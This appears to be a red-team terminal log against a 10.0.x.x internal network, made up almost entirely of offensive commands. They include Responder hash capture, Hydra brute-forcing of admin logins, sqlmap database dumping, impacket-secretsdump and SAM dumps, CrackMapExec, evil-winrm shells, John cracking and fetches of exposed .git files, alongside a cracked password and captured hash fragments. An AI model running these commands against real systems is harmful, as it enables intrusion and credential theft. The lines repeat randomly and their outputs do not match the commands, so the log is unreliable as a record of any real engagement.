[+] login succeeded
redteam@eyc:~$ responder -I eth0 -wrf
[+] 22/tcp open ssh
[200] /.git/ exposed
redteam@eyc:~$ hydra -l admin -P creds.txt 10.0.150.183 http-post-form
redteam@eyc:~$ hydra -l admin -P creds.txt 10.0.1.126 http-post-form
redteam@eyc:~$ nmap -sS -p- 10.0.45.28
[200] /.git/ exposed
redteam@eyc:~$ responder -I eth0 -wrf
[!] WAF bypass OK
redteam@eyc:~$ ffuf -u https://10.0.103.101/FUZZ -w common.txt -mc 200
redteam@eyc:~$ gobuster dir -u https://10.0.145.93 -w rockyou.txt
redteam@eyc:~$ nmap -sS -p- 10.0.177.35
redteam@eyc:~$ responder -I eth0 -wrf
redteam@eyc:~$ sqlmap -u "https://10.0.106.230/?id=1" --batch --dbs
redteam@eyc:~$ gobuster dir -u https://10.0.65.33 -w rockyou.txt
redteam@eyc:~$ ffuf -u https://10.0.97.215/FUZZ -w common.txt -mc 200
[+] 445/tcp open microsoft-ds
[*] NTLMv2 hash captured: aad3b435b514...
[200] /admin (size 3114)
redteam@eyc:~$ ffuf -u https://10.0.101.200/FUZZ -w common.txt -mc 200
[+] cracked: Verano2026!
[*] NTLMv2 hash captured: aad3b435b514...
redteam@eyc:~$ gobuster dir -u https://10.0.207.69 -w rockyou.txt
redteam@eyc:~$ sqlmap -u "https://10.0.218.185/?id=1" --batch --dbs
redteam@eyc:~$ john --wordlist=rockyou.txt hashes.txt
redteam@eyc:~$ hydra -l admin -P creds.txt 10.0.116.210 http-post-form
[200] /.git/ exposed
redteam@eyc:~$ john --wordlist=rockyou.txt hashes.txt
[200] /.git/ exposed
redteam@eyc:~$ hydra -l admin -P creds.txt 10.0.161.89 http-post-form
[+] 445/tcp open microsoft-ds
[+] 445/tcp open microsoft-ds
redteam@eyc:~$ ffuf -u https://10.0.27.158/FUZZ -w common.txt -mc 200
[*] dumping SAM hashes...
redteam@eyc:~$ sqlmap -u "https://10.0.225.237/?id=1" --batch --dbs
redteam@eyc:~$ curl -s https://10.0.214.39/.git/HEAD
[+] 3 hosts up
redteam@eyc:~$ impacket-secretsdump eyc/admin@10.0.110.80
[+] cracked: Verano2026!
redteam@eyc:~$ crackmapexec smb 10.0.191.0/24
redteam@eyc:~$ gobuster dir -u https://10.0.59.37 -w rockyou.txt
redteam@eyc:~$ impacket-secretsdump eyc/admin@10.0.37.167
redteam@eyc:~$ ffuf -u https://10.0.164.31/FUZZ -w common.txt -mc 200
redteam@eyc:~$ impacket-secretsdump eyc/admin@10.0.145.4
[*] NTLMv2 hash captured: aad3b435b514...
redteam@eyc:~$ impacket-secretsdump eyc/admin@10.0.97.203
[+] 3 hosts up
redteam@eyc:~$ responder -I eth0 -wrf
[+] 22/tcp open ssh
redteam@eyc:~$ ffuf -u https://10.0.60.13/FUZZ -w common.txt -mc 200
redteam@eyc:~$ crackmapexec smb 10.0.106.0/24
[*] NTLMv2 hash captured: aad3b435b514...
[!] WAF bypass OK
[+] 3 hosts up
redteam@eyc:~$ hydra -l admin -P creds.txt 10.0.126.195 http-post-form
redteam@eyc:~$ hydra -l admin -P creds.txt 10.0.89.130 http-post-form
redteam@eyc:~$ nmap -sS -p- 10.0.19.177
[+] login succeeded
redteam@eyc:~$ evil-winrm -i 10.0.196.164 -u svc_backup
[+] login succeeded
redteam@eyc:~$ responder -I eth0 -wrf
redteam@eyc:~$ impacket-secretsdump eyc/admin@10.0.192.20
[!] WAF bypass OK
redteam@eyc:~$ hydra -l admin -P creds.txt 10.0.93.221 http-post-form
redteam@eyc:~$ responder -I eth0 -wrf
redteam@eyc:~$ sqlmap -u "https://10.0.182.45/?id=1" --batch --dbs
redteam@eyc:~$ evil-winrm -i 10.0.197.209 -u svc_backup
redteam@eyc:~$ curl -s https://10.0.2.249/.git/HEAD
redteam@eyc:~$ nmap -sS -p- 10.0.126.1
